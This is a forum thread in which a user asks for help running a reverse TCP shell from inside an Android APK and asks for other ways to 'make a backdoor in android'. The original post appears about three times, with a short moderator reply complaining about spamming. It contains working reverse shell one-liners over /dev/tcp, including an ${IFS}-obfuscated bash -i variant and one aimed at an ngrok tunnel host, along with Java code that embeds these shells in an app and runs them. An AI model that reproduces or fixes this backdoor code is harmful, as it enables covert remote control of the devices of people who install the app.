Backdoor - Reverse TCP Connection From Android Apk / Java - Bash Script

struskin1

Newbie
Joined
May 24, 2021
Messages
4
Reaction score
2
Hello guys,

I rarely post in a forum, but this time I am forced to do it... the problem is weird...

I am developing an app for android and now I need to make a reverse tcp connection through a bash or sh code, or otherwise, execute a bash script saved in some .sh file in file system.

The problem is that I am not able to execute the line that makes the connection,

Is it possible?
-Yes, of course!... If not, then how in Termux can you run "bash script.sh or sh script.sh"?

Does my reverse tcp connection script.sh work?
-Yes, it works. I tested it on Termux(same device on which I test the apk), and also on windows works.

The problem is that I can not run it from the apk, it gets stuck in the part of making the reverse connection.


[ ¡ ALL SCRIPTS.SH WORKING IN WINDOWS AND TERMUX ! ]
SCRIPT_1.SH

#!/bin/bash or #!/system/bin/sh in android
exec -c 5<>/dev/tcp/ip/port && cat <&5 | while read line; do $line 2>&5 >&5; done

SCRIPT_2.SH
bash -c bash${IFS}-i${IFS}>&/dev/tcp/IP/PORT<&1


Function to execute command and get output in Android Apk (Java)

Java:
public void executeCommandAndGetOutput(String command,String[] cmd)
    {
        BufferedReader reader = null;
        String result = "";
        try {
            Process p;
            
            if(command.equals(""))
                 p = Runtime.getRuntime().exec(cmd);
            else
                 p = Runtime.getRuntime().exec(command);
            
            reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
            String line = null;
            while ((line = reader.readLine()) != null) {  result += line + "\n";  }
            p.waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            Log.i("result:: ",result);
            TextView text =  (TextView)findViewById(R.id.textView1);
            String str = text.getText() + "\n" + result;
            text.setText( str  );
           if (reader != null)
                try {
                    reader.close();
                } catch (Exception e) {
                    e.printStackTrace();
                }
        }
    }

Next I show you how to do it...
I show you the part of the code that tries to execute a script that performs the reverse connection, and also apart try to execute a .sh file from downloads folder:


1-Execute bash commands direct from Java

Java:
// Not Working

        String[] cmd = {
             "/system/bin/sh",
             "-c",
             "exec 5<>/dev/tcp/4.tcp.ngrok.io/17852 && cat <&5 | while read line; do $line 2>&5 >&5; done"
              // "bash${IFS}-i${IFS}>&/dev/tcp/4.tcp.ngrok.io/17852<&1"
        };
        executeCommandAndGetOutput("",cmd);

    // BUT, if I do this, i get "9191919191" in the output so command it's executing but not make the connection

            String[] cmd = {
                    "/system/bin/sh",
                    "-c",
                    "echo 9191919191 && exec 5<>/dev/tcp/4.tcp.ngrok.io/17852 && cat <&5 | while read line; do $line 2>&5 >&5; done"
            };
            executeCommandAndGetOutput("" ,cmd);


2-Create script in the app folder, give it permissions, and execute it.

Java:
private boolean unpackScript(String path)
    {
        InputStream in = getResources().openRawResource(R.raw.script);
        FileOutputStream out = null;
        try {
            out = new FileOutputStream(path);
            byte[] buff = new byte[1024];
            int read = 0;
            while ((read = in.read(buff)) > 0) {  out.write(buff, 0, read); }
        }
        catch(Exception e){
            e.printStackTrace();
        }finally {
            try {
                in.close(); out.close();return true;
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
        return false;
    }

    String pathToScript = getDir("my_scripts", 0).getAbsolutePath() + File.separator + "script.sh";
    // Unpack script to local filesystem
    boolean unpacked  = unpackScript(pathToScript);
    if(unpacked){
        executeCommandAndGetOutput("chmod 775 " +  pathToScript);
        executeCommandAndGetOutput("sh " + pathToScript);
    }
/*
    This is the code of the script.sh: (working from termux and windows)

    #!/system/bin/sh
    echo 111111111
    exec 5<>/dev/tcp/ip/port
    echo 22222222
    cat <&5 | while read line; do $line 2>&5 >&5; done
*/

The executeCommandAndGetOutput() shows "111111111" but not show "22222222", so seems like get stucked when try connect.



3-Execute a script saved in the download folder
Java:
String pathToScript = "/storage/emulated/0/Download/script.sh"
  executeCommandAndGetOutput("chmod 775 " +  pathToScript);
  executeCommandAndGetOutput("sh " + pathToScript);


4-Also i tried to execute a bash command direct from java but this way "bash someCmmand" and i get an error "No permission"


I use Android Studio / Java

The .sh script itself works since from termux or windows I can run it normally.

Has anyone ever made a reverse tcp connection from a .sh file from an apk? Have any idea why is not working?

Or there is other way to do make a backdoor in android?
 
Please stop with thread spamming.

Just be patient, someone will help you out.

No point in creating 3 same threads in 14 minutes...

Hello guys,

I rarely post in a forum, but this time I am forced to do it... the problem is weird...

I am developing an app for android and now I need to make a reverse tcp connection through a bash or sh code, or otherwise, execute a bash script saved in some .sh file in file system.

The problem is that I am not able to execute the line that makes the connection,

Is it possible?
Yes, of course!... If not, then how in Termux can you run "bash script.sh or sh script.sh"?

Does my reverse tcp connection script.sh work?
Yes, it works. I tested it on Termux(same device on which I test the apk), and also on windows works.

The problem is that I can not run it from the apk, it gets stuck in the part of making the reverse connection.


[ ¡ ALL SCRIPTS.SH WORKING IN WINDOWS AND TERMUX ! ]
SCRIPT_1.SH

#!/bin/bash or #!/system/bin/sh in android
exec -c 5<>/dev/tcp/ip/port && cat <&5 | while read line; do $line 2>&5 >&5; done

SCRIPT_2.SH
bash -c bash${IFS}-i${IFS}>&/dev/tcp/IP/PORT<&1

Function to execute command and get output in Android Apk (Java)

Java:
public void executeCommandAndGetOutput(String command,String[] cmd)
    {
        BufferedReader reader = null;
        String result = "";
        try {
            Process p;
           
            if(command.equals(""))
                 p = Runtime.getRuntime().exec(cmd);
            else
                 p = Runtime.getRuntime().exec(command);
           
            reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
            String line = null;
            while ((line = reader.readLine()) != null) {  result += line + "\n";  }
            p.waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            Log.i("result:: ",result);
            TextView text =  (TextView)findViewById(R.id.textView1);
            String str = text.getText() + "\n" + result;
            text.setText( str  );
           if (reader != null)
                try {
                    reader.close();
                } catch (Exception e) {
                    e.printStackTrace();
                }
        }
    }

Next I show you how to do it...
I show you the part of the code that tries to execute a script that performs the reverse connection, and also apart try to execute a .sh file from downloads folder:

1-Execute bash commands direct from Java

-Not Working

String[] cmd = {
"/system/bin/sh",
"-c",
"exec 5<>/dev/tcp/4.tcp.ngrok.io/17852 && cat <&5 | while read line; do $line 2>&5 >&5; done"
// "bash${IFS}-i${IFS}>&/dev/tcp/4.tcp.ngrok.io/17852<&1"
};
executeCommandAndGetOutput("",cmd);

-BUT, if I do this, i get "9191919191" in the output so command it's executing
String[] cmd = {
"/system/bin/sh",
"-c",
"echo 9191919191 && exec 5<>/dev/tcp/4.tcp.ngrok.io/17852 && cat <&5 | while read line; do $line 2>&5 >&5; done"
};
executeCommandAndGetOutput("" ,cmd);


2-Create script in the app folder, give it permissions, and execute it.

private boolean unpackScript(String path)
{
InputStream in = getResources().openRawResource(R.raw.script);
FileOutputStream out = null;
try {
out = new FileOutputStream(path);
byte[] buff = new byte[1024];
int read = 0;
while ((read = in.read(buff)) > 0) { out.write(buff, 0, read); }
}
catch(Exception e){
e.printStackTrace();
}finally {
try {
in.close(); out.close();return true;
} catch (Exception e) {
e.printStackTrace();
}
}
return false;
}

String pathToScript = getDir("my_scripts", 0).getAbsolutePath() + File.separator + "script.sh";
// Unpack script to local filesystem
boolean unpacked = unpackScript(pathToScript);
if(unpacked){
executeCommandAndGetOutput("chmod 775 " + pathToScript);
executeCommandAndGetOutput("sh " + pathToScript);
}


This is the code of the script.sh:
#!/system/bin/sh
echo 111111111
exec 5<>/dev/tcp/ip/port
echo 22222222
cat <&5 | while read line; do $line 2>&5 >&5; done

The executeCommandAndGetOutput() shows "111111111" but not show "22222222", so seems like get stucked when try connect.



3-Execute a script saved in the download folder
String pathToScript = "/storage/emulated/0/Download/script.sh"
executeCommandAndGetOutput("chmod 775 " + pathToScript);
executeCommandAndGetOutput("sh " + pathToScript);

Hello guys,

I rarely post in a forum, but this time I am forced to do it... the problem is weird...

I am developing an app for android and now I need to make a reverse tcp connection through a bash or sh code, or otherwise, execute a bash script saved in some .sh file in file system.

The problem is that I am not able to execute the line that makes the connection,

Is it possible?
-Yes, of course!... If not, then how in Termux can you run "bash script.sh or sh script.sh"?

Does my reverse tcp connection script.sh work?
-Yes, it works. I tested it on Termux(same device on which I test the apk), and also on windows works.

The problem is that I can not run it from the apk, it gets stuck in the part of making the reverse connection.


[ ¡ ALL SCRIPTS.SH WORKING IN WINDOWS AND TERMUX ! ]
SCRIPT_1.SH

#!/bin/bash or #!/system/bin/sh in android
exec -c 5<>/dev/tcp/ip/port && cat <&5 | while read line; do $line 2>&5 >&5; done

SCRIPT_2.SH
bash -c bash${IFS}-i${IFS}>&/dev/tcp/IP/PORT<&1


Function to execute command and get output in Android Apk (Java)

Java:
public void executeCommandAndGetOutput(String command,String[] cmd)
    {
        BufferedReader reader = null;
        String result = "";
        try {
            Process p;
           
            if(command.equals(""))
                 p = Runtime.getRuntime().exec(cmd);
            else
                 p = Runtime.getRuntime().exec(command);
           
            reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
            String line = null;
            while ((line = reader.readLine()) != null) {  result += line + "\n";  }
            p.waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            Log.i("result:: ",result);
            TextView text =  (TextView)findViewById(R.id.textView1);
            String str = text.getText() + "\n" + result;
            text.setText( str  );
           if (reader != null)
                try {
                    reader.close();
                } catch (Exception e) {
                    e.printStackTrace();
                }
        }
    }

Next I show you how to do it...
I show you the part of the code that tries to execute a script that performs the reverse connection, and also apart try to execute a .sh file from downloads folder:


1-Execute bash commands direct from Java

Java:
// Not Working

        String[] cmd = {
             "/system/bin/sh",
             "-c",
             "exec 5<>/dev/tcp/4.tcp.ngrok.io/17852 && cat <&5 | while read line; do $line 2>&5 >&5; done"
              // "bash${IFS}-i${IFS}>&/dev/tcp/4.tcp.ngrok.io/17852<&1"
        };
        executeCommandAndGetOutput("",cmd);

    // BUT, if I do this, i get "9191919191" in the output so command it's executing but not make the connection

            String[] cmd = {
                    "/system/bin/sh",
                    "-c",
                    "echo 9191919191 && exec 5<>/dev/tcp/4.tcp.ngrok.io/17852 && cat <&5 | while read line; do $line 2>&5 >&5; done"
            };
            executeCommandAndGetOutput("" ,cmd);


2-Create script in the app folder, give it permissions, and execute it.

Java:
private boolean unpackScript(String path)
    {
        InputStream in = getResources().openRawResource(R.raw.script);
        FileOutputStream out = null;
        try {
            out = new FileOutputStream(path);
            byte[] buff = new byte[1024];
            int read = 0;
            while ((read = in.read(buff)) > 0) {  out.write(buff, 0, read); }
        }
        catch(Exception e){
            e.printStackTrace();
        }finally {
            try {
                in.close(); out.close();return true;
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
        return false;
    }

    String pathToScript = getDir("my_scripts", 0).getAbsolutePath() + File.separator + "script.sh";
    // Unpack script to local filesystem
    boolean unpacked  = unpackScript(pathToScript);
    if(unpacked){
        executeCommandAndGetOutput("chmod 775 " +  pathToScript);
        executeCommandAndGetOutput("sh " + pathToScript);
    }
/*
    This is the code of the script.sh: (working from termux and windows)

    #!/system/bin/sh
    echo 111111111
    exec 5<>/dev/tcp/ip/port
    echo 22222222
    cat <&5 | while read line; do $line 2>&5 >&5; done
*/

The executeCommandAndGetOutput() shows "111111111" but not show "22222222", so seems like get stucked when try connect.



3-Execute a script saved in the download folder
Java:
String pathToScript = "/storage/emulated/0/Download/script.sh"
  executeCommandAndGetOutput("chmod 775 " +  pathToScript);
  executeCommandAndGetOutput("sh " + pathToScript);


4-Also i tried to execute a bash command direct from java but this way "bash someCmmand" and i get an error "No permission"


I use Android Studio / Java

The .sh script itself works since from termux or windows I can run it normally.

Has anyone ever made a reverse tcp connection from a .sh file from an apk? Have any idea why is not working?

Or there is other way to do make a backdoor in android?
 
Back
Top